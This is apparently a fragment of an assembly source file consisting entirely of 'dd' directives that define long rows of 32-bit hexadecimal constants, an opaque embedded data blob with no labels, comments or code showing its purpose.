dd 63047FE7h, 3FF4F5A6h, 0D62CF480h, 0FB99C440h, 0C1A8D3BCh
dd 0DBE08DA7h, 428547EBh, 0E94D39BCh, 30029C48h, 288B4003h
dd 31A4F5Dh, 0FDEAD220h, 31124CD4h, 0DC41717Ch, 7716A6B1h
dd 5D6A1987h, 0D2945361h, 83193DC0h, 48C88700h, 7DC9818Eh
dd 0A7173B07h, 183BC780h, 9E918B0Fh, 592231Dh, 17ED7840h
dd 0CE0A7Ah, 0B9E9B144h, 2C203F2Ah, 5711AF00h, 0D7C55926h
dd 2FC000B8h, 0AD09C3A0h, 8C01F7F6h, 751D6C23h, 1EE4900Dh
dd 9F971CDDh, 0DFDADE67h, 0EDD440AAh, 68F8DB56h, 69578000h
dd 479BC436h, 77820555h, 9DA566h, 854D7BFEh, 3601227Fh
dd 547C1F01h, 0AAC89361h, 0D8B51737h, 7FB8001Bh, 0B19F09Ah
dd 0F1701C00h, 21D5117Dh, 37C500C6h, 620E5E76h, 8F717CE0h
dd 0B398CE02h, 0E81F330Ch, 0AC39B0h, 0A1218D14h, 0B688BEEBh
dd 0B3086300h, 6ED4786Ah, 0E7EA0B70h, 0EC8ADD09h, 0B4A00029h
dd 453464A4h, 95B89700h, 0C2F00572h, 0D1BD00F7h, 0E33196A2h
dd 0DF005155h, 0A6C8132Bh, 291F270h, 0A0ECB399h, 9B836926h
dd 0B0C458F3h, 3A7E6DC8h, 31098890h, 35EBFA4h, 904C7FA0h
dd 746BCC05h, 617F53h, 84FAEEFFh, 2C47D0D7h, 90001C90h
dd 38FC6CC6h, 76F9C1h, 188D0B8Ch, 1BC7EEDh, 3357C082h
dd 17DE00CAh, 4A3CB186h, 40C03DC6h, 110CD282h, 0C8430144h
dd 4C5871E0h, 5984407Bh, 40074C9h, 0B8A92B3Bh, 0F18C99h
dd 0DE3143F4h, 513EAC27h, 628A3407h, 437FE9EDh, 87544928h
dd 0BF74FBB0h, 0FC256069h, 0C29DCBBh, 8D9D34F7h, 0FF877900h
dd 0E91DB923h, 379E2682h, 0B59F0964h, 628CA880h, 7024998h
dd 0FAFB15D3h, 0F82CE379h, 0D9892Bh, 5C578DA4h, 4B26D691h
dd 0E0CA8B1Ch, 1200C466h, 0BC10F9DEh, 6189006Fh, 67CF9721h
dd 0B200F0FFh, 748AA359h, 3EEE515Ah, 2980D59Bh, 4A3E21D4h
dd 3F725DC0h, 9C00CC94h, 90066DBDh, 14A9B0B1h, 0E882E0E9h
dd 0DA03E600h, 15C62638h, 78E02260h, 0FA1F5B5h, 0EA13CAACh
dd 0CB541C21h, 0E5F860E2h, 7AEC26h, 227E7C0Eh, 8018B176h
dd 7F92D9C8h, 0DFA900B4h, 6935F17Ah, 9300E416h, 397714B7h
dd 4546752h, 10C6DB97h, 5DC4E00Bh, 0D2F3F8A0h, 0FDF23100h
dd 4792A7AAh, 0D33E0011h, 381B8843h, 573E36BDh, 91830E3Bh
dd 466200C0h, 0F1D5E5h, 9C84C898h, 281215E2h, 49039000h
dd 54684731h, 1F2C9E4Eh, 9711C198h, 0D08BF12Dh, 0A0B63DDh
dd 2559B4h, 0C8C89D8h, 902F7120h, 6F2B00E5h, 37B63927h
dd 0FDEE75A2h, 542DC100h, 5248D05Ah, 0DFE509C2h, 10623A34h
dd 268A3681h, 8E55F032h, 0BEC55200h, 213CF66Dh, 98D803BDh
dd 0B3D6B1D3h, 0BCC316EBh, 0F2CF0ECh, 0F3B0D900h, 5E1A5A41h
dd 8B7C3C2Ch, 0D48828h, 0ADB9B710h, 0B440EFDFh, 0A6870702h
dd 48FB0F72h, 1205CF8h, 9D7F032Dh, 604CAEF9h, 0B15C954Ch
dd 12109B6h, 0D22500ACh, 0E389E170h, 77E4B6E0h, 0F50B00DBh
dd 0F815765Bh, 0EA98D803h, 0E800E5EEh, 5A3FC151h, 76F5B9B4h
dd 2A3700EEh, 0A8D749CEh, 6E2A94Ch, 4D40D217h, 17885D00h
dd 7433D4B0h, 9BB80FAFh, 0B5605154h, 380ACD8Fh, 25070F76h
dd 0E6103D6Fh, 6000E01Ah, 523F9971h, 0BD2A0475h, 8050704Bh
dd 0ABD996A0h, 2888BC26h, 87C0A21Eh, 49D4CC9Eh, 0C845075Bh
dd 0BCB0C709h, 5A012720h, 0FC356D50h, 0C07B9E4Ah, 0B2363AEBh
dd 1E7C1D7Bh, 795EF600h, 27756BBFh, 9740F58h, 71C1E6CDh
dd 80ABE973h, 9EF86A78h, 50AC8C54h, 0BEB0C9h, 3219D88Ah
dd 0C73EF4AEh, 3AFA4874h, 129F803Eh, 68007ACBh, 8FB3E2A3h
dd 50B00Eh, 495F9D10h, 0BCDDD332h, 0FA61DC00h, 81186AF9h
dd 6CA60035h, 0E341B202h, 0AC00CD8Dh, 3A3177F8h, 9B0F06Fh
dd 3EDD1312h, 4B089400h, 76032561h, 84F5208Ah, 2180538h
dd 0C3C5C2D2h, 85E8C928h, 0EE5A1D24h, 0EDE00AF1h, 3D92003Ah
dd 25975E06h, 0D401320Eh, 911A4324h, 0EEFC052Fh, 621D03F5h
dd 31A92186h, 3A78C0E4h, 34A8F226h, 1F6FC2D3h, 0EF0A8360h
dd 0E9CEC079h, 4663380Bh, 67BE5E05h, 415FC684h, 0B0217002h
dd 0F031E51Dh, 502825D8h
dd 1B00388Fh, 7027160Ah, 2C18C201h, 4E260376h, 0E31F1040h
dd 0F3060031h, 8E8D1262h, 0F1F844E7h, 404EBF00h, 0AD3FA35Bh
dd 98F3FF0Dh, 0F272EACh, 7ABC840Fh, 7DE57821h, 0ABC18089h
dd 955BAF51h, 0B3B918B8h, 70521982h, 3D148500h, 442959E7h
dd 0A99000DBh, 2E5A657Bh, 0A6608A8Dh, 0D5845191h, 192FEE2h
dd 0FF5E9F49h, 0DC6A8142h, 0CA00174Ch, 13F3D4B2h, 650554h
dd 9B534A50h, 19EB8727h, 8F291E00h, 0D6CACC72h, 0B5EE00A5h
dd 4423E07Fh, 1F004054h, 0BC739F4Dh, 0C80513h, 376B6808h
dd 0C47712ACh, 0DAD81F00h, 0F4C18A4h, 0C27CD7h, 0B63C3005h
dd 67D366FAh, 76637B04h, 0B0D0E9B4h, 274E7029h, 0A880CB7Eh
dd 8358583h, 756332B0h, 80619ED8h, 39119689h, 0DF80B714h
dd 0B66ED387h, 0D518D959h, 0FB586F2Fh, 7CF70006h, 2D412111h
dd 0E101AD0Fh, 32C0F49Fh, 27600534h, 50E000F3h, 0F586806Bh
dd 11D1815Ch, 0F29BF004h, 0EB10C06Ah, 0C41F278Ah, 1B6C9200h
dd 16331A5h, 78750085h, 6DDB3A16h, 0A10022D2h, 0BB617230h
dd 0C88325h, 0B1E96E1Fh, 0ABA57C0Ch, 67031576h, 0B6B54101h
dd 0F19CC81Eh, 3107022h, 8683F58Eh, 0F0C0205Ah, 0E0243959h
dd 5000BD1Ah, 0EC473B4h, 8DC700BFh, 0D44BFB01h, 9C005809h
dd 1CCDDCB7h, 0F2FFAEh, 0B6C0E5DEh, 2D761AC9h, 0F6CF0C07h
dd 6D0099F5h, 0B644FE2h, 0E0355496h, 0BC937B81h, 823470E3h
dd 23E20900h, 0F074CE76h, 0CDB70F80h, 0C280F57Ah, 654C7855h
dd 5E313403h, 80414026h, 2E96D3h, 1D8211BFh, 0AEF58C01h
dd 590BA500h, 468120D5h, 2604019Eh, 0C544E5CDh, 17F0E738h
dd 8C005132h, 7BF897B5h, 0D301F2h, 6CED27AEh, 3AD11ADDh
dd 8DA54C00h, 9DE905E7h, 45F000F6h, 0C02BFFD9h, 632AB32Ch
dd 9F26D8CFh, 3A6874h, 0B9B6DC1Dh, 0FCD51506h, 1FA400ECh
dd 0CDDD7324h, 703EDFA6h, 4C2980C6h, 3C48E9E5h, 0AF2012EFh
dd 0D2004764h, 8E47909Ah, 0CA3FCEFCh, 0FB2703F9h, 0A093F7EEh
dd 0E837191h, 90C4617Bh, 0A5CCA680h, 7000A0B1h, 0C52ACF7Fh
dd 120A66h, 755A379Dh, 1556D5CEh, 430E4D00h, 0DAABB5AAh
dd 6A2763Dh, 0D1C779B1h, 0F300B870h, 0AB2595B4h, 1778A36Fh
dd 0C0F221h, 3F837C3Ch, 0D41E4790h, 22801EA7h, 741B909h
dd 0CCF700DAh, 7699FB9Bh, 0D539CF5Bh, 0F540CD4h, 0D15821h
dd 43331041h, 0CE659C6Fh, 0EAD69507h, 0BEAC719Dh, 264B01FFh
dd 0D0F888B4h, 1162E0A9h, 6C743500h, 0F6A12DA8h, 50571E93h
dd 2A2E4090h, 0F1277D64h, 8077FB3Ch, 0A0569A4h, 0ED9FE5h
dd 0DEF3914Fh, 7FE1A7B8h, 6F12F51Dh, 717CAF40h, 2EF169Fh
dd 4321AC29h, 87E0FE09h, 0F83FE1B9h, 792D00FCh, 0BB913B47h
dd 5AA71488h, 0E907A898h, 4016DACBh, 0A2A16DEAh, 670EB100h
dd 140750Dh, 0FE62EA4Fh, 0AC0A04EDh, 90D3DCCBh, 48704D10h
dd 110072F2h, 1CD5D001h, 52A66CEh, 99D871A8h, 0C39C40A3h
dd 14C8E44Ah, 1B69EE03h, 0A801B8D9h, 3DF8D645h, 0F4822DA4h
dd 0F0E7734Ch, 3F8C8280h, 6B7678E2h, 0DEAF0D00h, 0F5343168h
dd 64D507C4h, 666AAD8Eh, 0A6301089h, 0A9F956F7h, 0CA201FD8h
dd 63B2809Ah, 2C48FA38h, 0D7FBE400h, 6640CD49h, 463E1273h
dd 658000A6h, 1C9C2CF4h, 0B33FE004h, 2E40CE97h, 193A266Eh
dd 0F416D4A1h, 6D0387AFh, 0EE63FE86h, 0DD4000A4h, 58661C04h
dd 7180225h, 0FE18CE8Eh, 12550073h, 771C08D4h, 95007E3Dh
dd 8EEAAD24h, 0C43426h, 0EF79C14Bh, 1304A035h, 6A565700h
dd 383D81Eh, 9B9107A9h, 0C4DB19FAh, 4658C34Fh, 0BDF0A3F0h
dd 62162F1Fh, 0B0406ED3h, 0F2A870DCh, 2942009Dh, 0C4F4557Dh
dd 209AD0E6h, 49B82600h, 0A7F0898Ah, 0B8D75071h, 0D0EA55h
dd 667AC30Ch, 4DCD25A3h, 3D0022F8h, 0C4FD0EDDh, 1E3CE4h
dd 0BD530D07h, 0A82769CBh, 0AE008873h, 8DBA265Fh, 0FEAD5C2Ah
dd 1F5A007Dh, 5E3B2B11h, 0D4F62C86h, 0D2002298h, 97E06461h
dd 7F406F14h, 0AC22126Ah, 4212001Dh, 0EEB20D9Ah, 0DF069312h
dd 0C067D800h, 37FEB81h, 0E6F7F89Ch, 780024A3h, 1943D382h
dd 3333CA4h, 6791AE51h, 0EE88282Ch, 2D00AFB6h, 0F3F6A23Ah
dd 0FF7D79h, 7FAC4732h, 0E25B6A8Bh, 0A5A9FB00h, 737B9D4Eh
dd 383749D4h, 123BE448h, 0BDEB6D80h, 14FCB76Ah, 0BF7F7101h
dd 70839C5Eh, 0F93EB840h, 0BD64C0DEh, 0FA92C14Eh, 7371241Ch
dd 319C6300h, 478582h, 0E7150BF1h, 0AB6CC47Bh, 4F526101h
dd 0C632653h, 2E3A5AE0h, 1712D6Ah, 411A4D99h, 6E9ACC87h
dd 4E6F070Fh, 1B1F203Bh, 36E998h, 4B5C0E43h, 4599E168h
dd 1CA87F5Ch, 94830FB8h, 883D1F12h, 0D71D2Eh, 56BF215Ch
dd 65E0C8A4h, 1F112607h, 0A5513398h, 1C2094B0h, 70257361h
dd 97180E48h, 417D20DEh, 0DF23A34Fh, 47A5CCA7h, 3C0E5400h
dd 9E740540h, 0CCD16D9h, 6BCC0092h, 0F4CA646Ch, 0F0E6C701h
dd 1641E337h, 23C2B740h, 0F34C01BDh, 432F39B3h, 8DCFD8D1h
dd 0B9641F00h, 0DFF1A8EEh, 7140009Ch, 6236A62h, 9200AC81h
dd 0E894106Eh, 1F95C6ADh, 0D228A037h, 55F8004Ah, 0DB6DDF5Ch
dd 0A2002CBAh, 62608053h, 0FD69B8h, 27E40489h, 44DE1AA7h
dd 70265D00h, 94094CDh, 0E0B90075h, 812B3C8Bh, 0C100BB4Ah
dd 36D9D6F1h, 0E24EA3F7h, 87FB00CAh, 7DB75BE4h, 0D23FF2B3h
dd 879A3D48h, 74B06DDh, 6411F6E0h, 0AD4C1EE5h, 3B14CB66h
dd 810F9180h, 0A800E837h, 0F93A3C8Eh, 7DB0FDh, 0ACDE76B8h
dd 0C3C21E1Fh, 480AD60Eh, 747EA086h, 1473D099h, 0A9B9B59Bh
dd 119A7700h, 0DF27D518h, 0D9916900h, 0FC9DF8F2h, 1C7800D6h
dd 84813552h, 640E481Dh, 0A0EF9777h, 1CD7DC5h, 270A0089h
dd 0A539BAE8h, 6812ACD8h, 0E30032A2h, 0FD6F9561h, 19D50BCBh
dd 0F8815AE6h, 0C4F1AE52h, 0C3768288h, 0AA76BB0Bh, 0EAC9870Eh
dd 2E8DD140h, 738A057Ch, 0D01947B9h, 0BB90D83Eh, 0CA664400h
dd 3AE1A15Ah, 0DCC800F7h, 850C7C54h, 0F20024C1h, 70A825B3h
dd 0E2C2626Ah, 350100A3h, 6F4A51F7h, 0BA002479h, 18E1ED9Ah
dd 1F994EAh, 1B854F91h, 403B54A6h, 0C62FF5CEh, 969E8A00h
dd 79260EB2h, 0A19C0034h, 0C243E845h, 4A1C22C7h, 0E4004297h
dd 0BB393DBAh, 0D8D2008Eh, 9FAD7956h, 0BD003727h, 0C9CE0418h
dd 3894E965h, 8003B134h, 0D02E0838h, 0FADA84C8h, 19019492h
dd 75278B0Eh, 2FDC1564h, 0E97063h, 9DEE39AFh, 9C914570h
dd 1278FB00h, 0C7939B1Ah, 0AD070047h, 7DA2E6B6h, 29276681h
dd 0B1D4E3h, 77997967h, 0E148F9E4h, 3C2C0025h, 14E7105Bh
dd 63700912h, 0F0AF7791h, 0E9042963h, 161C6990h, 18F57606h
dd 30A0A89Ah, 0C2103E15h, 6E81814Fh, 24F70007h, 7478E7E5h
dd 287A6328h, 0ACC0A700h, 0F7FE10C3h, 3120013h, 0C999757Bh
dd 19C0C4D4h, 21F54760h, 3E2C12CEh, 54B800DFh, 0CA4AC50Ah
dd 0F065442Eh, 0AB1E6AACh, 96736180h, 3BA619D3h, 13B08869h
dd 0ED2A5F80h, 37C80600h, 0C6D20B4Ah, 3580287Fh, 0F1E8E0h
dd 1CBBB145h, 3DA9E3ADh, 0CB57F001h, 7FD2D52Ch, 0F8908CF0h
dd 3CCD908Eh, 0BA9E22C4h, 4A53CCC1h, 0A22B1398h, 517A049Fh
dd 88C95160h, 2CB3708h, 66965A5Eh, 20605611h, 911832DEh
dd 1C867008h, 0B71EA03Bh, 0AE0AE598h, 184C2094h, 872403B9h
dd 909F7881h, 9941CFB3h, 5F509404h, 0DF4E1418h, 6A18184Ch
dd 0A0911209h, 0A0366058h
dd 0F996981Ch, 95F8498Dh, 0B4500D18h, 60211809h, 849A1F0h
dd 708F0409h, 5E8ADC89h, 0C9B61944h, 140994B8h, 170C028h
dd 0C56B512Bh, 0A121908h, 0C14920Ch, 50D11627h, 0B640EB65h
dd 508A4037h, 515E58h, 97EE7543h, 184859Fh, 4D44B5E0h
dd 0ED240750h, 5A1160FBh, 90D1BF8h, 0AF042143h, 25136C1h
dd 9D8EF04Eh, 59195F60h, 0A106F1h, 7F3B65EBh, 2B45EAA4h
dd 20715428h, 0FC669B00h, 0E8ADDB89h, 189561DDh, 98B0BF2Ch
dd 9B69E539h, 0E959CFC3h, 5149EDACh, 0ECE22C00h, 9B3765A5h
dd 30177A8Bh, 1861F733h, 4A194144h, 9210E654h, 55FC7F8h
dd 826DE511h, 78340E6Fh, 489D7486h, 6958421Fh, 908B3403h
dd 23C69DD0h, 0E63C0008h, 67FAC562h, 0D701102Fh, 0DA944DF8h
dd 0A0835193h, 90302226h, 0EC23080Fh, 3B4F1E44h, 19C1FB9Eh
dd 8E65748h, 0BCC3D250h, 0A114FAA0h, 837A8C00h, 40C7C995h
dd 3AC80094h, 49F552Fh, 3E001351h, 24565FFDh, 529D85F5h
dd 1F05C429h, 43A433CEh, 6C8BA68Ch, 3800E973h, 4250B792h
dd 0CE963324h, 0DA202E89h, 0A4946D4Bh, 9C90D578h, 982F6603h
dd 412B333Dh, 7AE0D029h, 0A360A013h, 0EAFCF9AFh, 60FD03DEh
dd 0F27FDA24h, 67BAFBC8h, 7A366E79h, 0C1E131B3h, 8AEC5509h
dd 0D040CEFDh, 1C9037EBh, 17F3103h, 8A9C6F62h, 0F2E3E9h
dd 4E4ACF21h, 3C70BF94h, 2EBBA1C0h, 5022253Bh, 4882AC16h
dd 0EC1EF826h, 0D879C043h, 6BBFE327h, 50491332h, 142C4A01h
dd 4810C1A8h, 0E0A1FF93h, 5412EE6Ch, 38483666h, 0C182BB64h
dd 9A7ED552h, 7C10B894h, 1884557Bh, 0D8340024h, 42511Fh
dd 0FD1389Fh, 2873773Bh, 50061A00h, 0A4B629C5h, 1BBE1293h
dd 9020088Bh, 0E0237D80h, 0A097BA17h, 37AF5A4h, 52785029h
dd 54F8BE98h, 7B78D0FDh, 0A216990Ch, 39C836h, 9C3E22D1h
dd 23AFABD4h, 181971F8h, 24605F9Bh, 0F799BB13h, 52AC2499h
dd 2CE8AE3Ch, 0B8203459h, 0C02D4E44h, 1A836031h, 0E4249C5Ah
dd 0D8A0DC6Ch, 0EB4FFA0Eh, 8C618A97h, 4F1E858h, 7AFC7153h
dd 884494C2h, 393059D0h, 7F01318Ah, 1820F92Fh, 423091F6h
dd 80CA43F7h, 95972C80h, 4CA90F03h, 64E9012Fh, 4940C016h
dd 91C360DAh, 23D54671h, 0DE5B7800h, 0EB6A9CCBh, 0CDF90C03h
dd 89403F27h, 0F139640h, 0AA3BFA67h, 0C9D9E85h, 5B292248h
dd 0FA8F10F1h, 3992618Ah, 20E6B8EBh, 58A43D88h, 68969050h
dd 515790C4h, 737E7037h, 0F5793D99h, 6FC06612h, 958E2000h
dd 4BAA2Fh, 0CC941EECh, 2613B59Ch, 0EA67D100h, 2461011Dh
dd 0C21203C9h, 50B69621h, 786468E2h, 0DDE10106h, 0A1716214h
dd 0B0426334h, 0E641188Fh, 2152281h, 3302134h, 1A00B864h
dd 73C9434Eh, 3C8EFD3Bh, 4F00EB66h, 0BA109178h, 3848E4F9h
dd 3497438h, 7DD302B0h, 9091E3AEh, 5F9718Ch, 9D54424Dh
dd 0BAF890F1h, 0FA0C55ABh, 813F3663h, 61731F9Fh, 21003C77h
dd 3BB7D825h, 0FE136729h, 480830E1h, 0C1C8A849h, 0D6192218h
dd 5010809Ch, 0A2D98FECh, 136315CCh, 282AC8F6h, 6ECD0098h
dd 38904ABAh, 0BE1312A0h, 0FC0EE9EBh, 2833A17Eh, 0F4C53671h
dd 2616464h, 4C7ED86h, 0E0846523h, 8C5007h, 98EF6F24h
dd 7F23F05h, 0A7DAA2E1h, 50EAC635h, 7200437Fh, 25531836h
dd 0C19DDF8Ch, 192171E8h, 3457DC51h, 9693B90Bh, 0CF5881E3h
dd 509A6B1Bh, 9840699Eh, 0AA78FAEAh, 1D8B710Eh, 0DEFE81DCh
dd 0FACBBA3Bh, 333C6052h, 4F0A1FE9h, 0A31B0FE5h, 4B101803h
dd 7A9480C5h, 178051ADh, 3EA60C11h, 0AEAE2F55h, 20AA18C7h
dd 0EEC1EEBh, 830D18C2h, 0D83DCC66h, 90CAE12Ch, 9CD70F3Eh
dd 50B025EDh, 0C2C03880h, 0F8165A3Fh, 3B660163h, 0AA0131F2h
dd 0A0B830A0h, 0F48141E5h, 9C91007Eh, 0C06B6D42h, 0DE0A7B87h
dd 28E7E525h, 343F1886h, 26DC9019h, 8220F9DAh, 9036647Bh
dd 0ABE6C921h, 456058h, 0A6DB4C0h, 0EBEAF8D0h, 0A6597860h
dd 82DA1343h, 7EA3900Eh, 0D6F16B09h, 77C0F870h, 9279A962h
dd 11C8626Eh, 8458497Ch, 613CA054h, 0D006E27Bh, 741D84F1h
dd 0E112A0D5h, 8405E0Bh, 0EBDDB989h, 0E448A88Ah, 0A8387DFh
dd 3D4A8BFh, 83E82048h, 3839164Fh, 70238F24h, 41EC6098h
dd 300F0179h, 80A9DA66h, 0BA305094h, 7A8B314Eh, 0AC0F2E9h
dd 17909A35h, 31E00650h, 2F3C395Ah, 0AE3C8201h, 9348DFBFh
dd 2798F0CCh, 4011DF55h, 50793E35h, 9819F7h, 94DDD44h
dd 0C4E97198h, 5363C042h, 8B2F56C9h, 84904710h, 0D0A1F324h
dd 1E1B1AC0h, 416A3371h, 80F13A78h, 691EDF77h, 1352ED15h
dd 0ECF03043h, 0CE23A09Eh, 50F325E3h, 2C202421h, 738733Dh
dd 5A4E338Dh, 44C194A4h, 48349335h, 7202062Eh, 102D23C9h
dd 53161809h, 605801C1h, 78D06C62h, 1C0E86Ah, 95F6C542h
dd 30311963h, 0CD891240h, 5820405Fh, 422D2421h, 808116FBh
dd 2472517Bh, 1702AB20h, 59FC63F8h, 7140E85Fh, 0AC0E54E4h
dd 4354AAEEh, 0AB419824h, 21DE61E3h, 20BBF94Ah, 6063C044h
dd 0E8206140h, 18DC5898h, 0B1ACEBDEh, 0F8123392h, 384A2773h
dd 3C840C8Eh, 0F5444B09h, 0B4903113h, 256F35F0h, 0A49DDF4Ah
dd 7F0485F4h, 3B171002h, 0C994C29Ch, 0C0CA3860h, 830610Ch
dd 0DF203981h, 5AC99000h, 2DCAD3h, 289E9D65h, 982F052h
dd 0CAA8000h, 0BF36D760h, 5086F923h, 69678DA0h, 0E3884E00h
dd 0A5252A47h, 0F77A008Ch, 0D844F935h, 0E100E04Fh, 0B8DB2965h
dd 13483BC3h, 6F64A2h, 990E8D8h, 76273D8Ah, 0B8C8A08Dh
dd 3056E1h, 5A625431h, 5B5D2B58h, 4CA4200h, 0C927A9C2h
dd 0D7DF180Bh, 0EA71F1D0h, 94AC3094h, 6864CA60h, 0FDBF05F4h
dd 0D3FA7146h, 21003C5Ch, 0A0044323h, 4FD708h, 0D0D33F0Bh
dd 0E1C48530h, 8287EB0Bh, 1C20029Bh, 0F1ACA54Eh, 6C835CC0h
dd 0ACB114h, 91A4789Bh, 0DA1649BBh, 7C053A13h, 6480F70Bh
dd 86F68Bh, 0F8FC52B6h, 7BE0F083h, 390710Bh, 2328A095h
dd 0E6FD9893h, 0BA5A00C6h, 3C451C0Ah, 0D2008A94h, 0D6EE1250h
dd 30E2259Ah, 9BC84F2Fh, 34B67724h, 0BB977080h, 0FA257F10h
dd 51D40117h, 5F5E9969h, 0BBF1BC24h, 5A109B6Fh, 7076E011h
dd 689C0090h, 23F53CD1h, 7C1CEBD7h, 98267E85h, 5CC40B80h
dd 10CDF37h, 0D2CB53D5h, 307FF610h, 0E70794D5h, 0EC6C5EFBh
dd 98B2888Ah, 266D2036h, 1D2EDF6Fh, 6C11D80Eh, 0F97F0F7Ah
dd 0A1235F98h, 6DD81F9Fh, 5D00C9DAh, 5BE2CABBh, 2551193Bh
dd 0B420299Ah, 364C11C0h, 4D827701h, 57FA6655h, 0C04FA9D0h
dd 4C29B720h, 7C014713h, 1CB845CFh, 0B448BEDFh, 816D609Bh
dd 0D0C6B309h, 0FF71B67Fh, 775B2500h, 0EDC77515h, 288B0AD6h
dd 64986Ah, 33AEE70Ch, 8D03A58Fh, 1E917168h, 1999009Ch
dd 41826698h, 0F10021C8h, 6714EA51h, 74CF32AEh, 2B7A1299h
dd 2578829Bh, 819DE080h, 90493853h, 0A24B005Ch, 65120641h
dd 65EEE459h, 4008087Dh, 4299AEC4h, 0A2019D72h, 0FB2887D0h
dd 0B42D3625h, 0F063874h, 3F80C2B9h, 912C2D0Eh, 0B8006B04h
dd 3DB6A8D4h, 48E83CBDh, 9613C08Ah, 521820C9h, 0C4908EF9h
dd 0F22545E0h, 402007FBh, 4320C870h, 7B6A7F88h, 0F23E18F3h
dd 779A21F7h, 0C709F7B0h, 32F425Ah, 0B8F56C24h, 8ED7B5Bh
dd 947D7E7Fh, 0D2AAB580h, 12569215h, 1173121h, 23D4C28Ch
dd 3A14266Eh, 8904DC9Ch
dd 32BC6836h, 6E4202E8h, 6AC9DC52h, 0DA81E851h, 629D8C70h
dd 44B0D850h, 161B0158h, 0E2B4F8AEh, 660898ACh, 69D2321h
dd 37D1E458h, 0BC006149h, 51C6F444h, 3DB9FECh, 2F808FFFh
dd 45D21DEAh, 5A3E444Ch, 2A77884Bh, 51636257h, 5480C204h
dd 0E2EB4E32h, 52FC076Eh, 0D4E07F71h, 21D4C833h, 0ADA36900h
dd 77C53491h, 0E8C471CAh, 9721C0F6h, 8548A36Fh, 0BF2B6A00h
dd 8BD804BDh, 0E6AD24D9h, 1136430Ch, 17CEC100h, 7F8BEF9Ah
dd 1F09EA5Dh, 47C35B06h, 212079BDh, 333817D5h, 9C8F28E4h
dd 41028B46h, 86198C58h, 0F6105331h, 541F5899h, 0FA528494h
dd 661F0441h, 75205DF2h, 0B28A0060h, 741BB377h, 694CFA11h
dd 3B15133Ch, 433E4462h, 24080C18h, 3561557Eh, 6CD90567h
dd 0E09E1B17h, 401A51B5h, 7D89001Ch, 880511F3h, 69003BD0h
dd 93EDEA08h, 51A5646h, 38B2E86h, 0C2D44071h, 39DCBD96h
dd 0ECE26200h, 6954BAAFh, 84970921h, 0A018479Bh, 1700147Bh
dd 94423CE6h, 8816FDh, 7960618Ch, 0AA43774Bh, 0BA04867Fh
dd 7151A9ABh, 361848Ch, 42CF0147h, 0AB9EBEAh, 651C6053h
dd 0B8426C45h, 0E3F213A4h, 8E4C34FAh, 0B8633138h, 5C004FAFh
dd 3F0012E4h, 0C5D37FFFh, 4C0140h, 0EFD7320Ah, 8EF70CD0h
dd 0D833A312h, 21605086h, 0E910E6BEh, 0D0783793h, 0FEE69FC9h
dd 3E41F900h, 70B01F8Ah, 0D67B0C79h, 4241A937h, 0C0395624h
dd 3C310540h, 0F477A60h, 451676DFh, 0C0EC37D2h, 32565F3Eh
dd 2CCBB71Dh, 2781800h, 4C440106h, 5AE8743Dh, 3C068143h
dd 0D1740330h, 3283D505h, 0A50069C3h, 921BC827h, 1CB00162h
dd 3985787Eh, 5298D47Dh, 652FB8A8h, 0F3F70F00h, 0AFB52B69h
dd 1D3F6D9h, 0C107CD14h, 616520C4h, 21C6274h, 5A171991h
dd 0FFBBC334h, 78ECE7C0h, 0DC1C52ADh, 32D16A00h, 715428C0h
dd 3CBAFC17h, 37C8B831h, 39C07118h, 9D511767h, 7FEC1724h
dd 0FC0C540Ch, 85A28201h, 0D8E9E526h, 58C1150Bh, 735FF667h
dd 402F202Ch, 4416F17Ch, 6AAD1C40h, 320EB2Ch, 403765A0h
dd 49DE3054h, 0E8263B74h, 2F0138C5h, 64878DF9h, 3B121848h
dd 57849488h, 0E8624BCAh, 1D740094h, 66B2607Bh, 8BA0043h
dd 0EC9E2DB6h, 5D00823Ch, 8AA6DE0Ah, 1B3DF7Dh, 10D3E7E5h
dd 0C86541F0h, 2401C2D8h, 0ADEF82Fh, 80B19C17h, 1046BCB9h
dd 0C721F3Fh, 3CB955D1h, 38055079h, 30223995h, 3CAA4CC8h
dd 0E30F2B78h, 8139925h, 68C40F9Ch, 8C928CC0h, 919C99C4h
dd 31D800EFh, 58B138A0h, 0FC2800EDh, 0E7186890h, 0C400C598h
dd 21B84A46h, 21433F2h, 253AE3E2h, 0C040EEF3h, 2000631Eh
dd 0B8E46C22h, 76BCBA0h, 8165A10Eh, 6FF240E9h, 0F73D1E35h
dd 0B043245Bh, 0E4B0E035h, 206A415Dh, 48C51ACh, 196E5843h
dd 209A62B6h, 0EB589C10h, 1D35045Ch, 0FDBD4C45h, 3244706h
dd 16286042h, 6040511Ah, 904C0744h, 11127823h, 4FA50062h
dd 8C17A04Bh, 0ABB1CC9h, 9789856Ch, 0E8AF0785h, 7E806F6Dh
dd 0DE3903DBh, 0CD285Ch, 30B695B9h, 589788CBh, 982608F9h
dd 1229000Bh, 0CF8BE0CEh, 0A33E6C78h, 8AC006C9h, 106BBCh
dd 0AC9A0B77h, 0B7ED5A45h, 0B2531A1Dh, 206A2E0Ch, 9B621FD6h
dd 0EC40C1CEh, 0E466C846h, 0EAF05E30h, 95183401h, 269DA680h
dd 7BDC2F8h, 0C114E870h, 0B65A70C0h, 8C3ED105h, 56BF0083h
dd 34888E5Dh, 2B13A09h, 58860780h, 38115F50h, 0F697A300h
dd 51BE530Fh, 9165C26h, 0D776C50Fh, 36294E80h, 1200E5D2h
dd 8DFF4455h, 3B48506h, 39549DA5h, 0F8605F79h, 75F5C649h
dd 17ED0667h, 81D9FA4h, 50692560h, 7D35F5ACh, 0BF5F07C8h
dd 5C958BE1h, 570097F9h, 0C1F0155Bh, 11C3F1Fh, 0AA792C80h
dd 0E5BE7750h, 0F9498DF8h, 78BE08BFh, 0D1E0E800h, 0A9EBDC8h
dd 0F910370Ch, 156A055h, 0EC3CB020h, 0CC3A6814h, 3475C738h
dd 5D0C8B77h, 48B723E7h, 683D00D4h, 3E88CA15h, 1100544Bh
dd 0E7451093h, 15DAAE6Fh, 0F8CF0295h, 520A5A3Bh, 70208E68h
dd 338C1DA1h, 8FB1A5F0h, 9F89E990h, 0D5E81607h, 69307A11h
dd 142E482h, 0D6D1E543h, 5031D0EDh, 0B326C08Ch, 0DE008E7Bh
dd 978AEF45h, 1EC70B61h, 5A05F8h, 2C3DAC9Fh, 0C829D2A2h
dd 2E009462h, 0D5DE650h, 84A00208h, 0BA6C4AF7h, 4C87044Ah
dd 460188Bh, 213E7D9Ah, 8D95B262h, 600100F0h, 0F3955E9Bh
dd 43C001DFh, 13344BF5h, 52508104h, 988B2FC2h, 57913180h
dd 0EE92EA1Bh, 9DBA973Bh, 846A8C12h, 3D9D2D06h, 3D11B4F6h
